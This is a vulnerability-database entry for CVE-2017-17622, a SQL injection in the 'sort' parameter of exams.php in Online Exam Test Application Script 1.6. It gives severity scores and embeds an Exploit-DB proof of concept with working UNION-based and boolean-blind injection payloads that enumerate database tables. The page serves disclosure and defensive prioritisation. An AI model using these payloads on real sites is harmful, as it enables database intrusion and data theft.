CVE-2017-17622

critical

Published 2017-12-13 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Online Exam Test Application Script 1.6 has SQL Injection via the exams.php sort parameter.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43291 webapps php verified text · 2 KB

Ihsan Sencan · 2017-12-11

Online Exam Test Application Script 1.6 - 'exams.php?sort' SQL Injection

text exploit Source: Exploit-DB

# # # # # 
# Exploit Title: Online Exam Test Application Script 1.6 - 'Exams.php 'sort' SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/online-exam-test-application/
# Version: 1.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/exams.php?sort=[SQL]
# 
# -4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
# 
# http://server/exams.php?sort=-4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
# 
# Parameter: sort (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: sort=4 AND 9300=9300
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 6 columns
#     Payload: sort=4 UNION ALL SELECT NULL,CONCAT(0x717a6b7071,0x436a5574724b7477565147546d496b47534c4e586c4275794c6359695374477874484b4669767978,0x7176627871),NULL,NULL,NULL,NULL-- Knya
# 
# # # # #

Application impact

Vendor	Product	Versions	Fixed
online_exam_test_application_script_project	online_exam_test_application_script	`1.6`

References

CWEs

CWE-89

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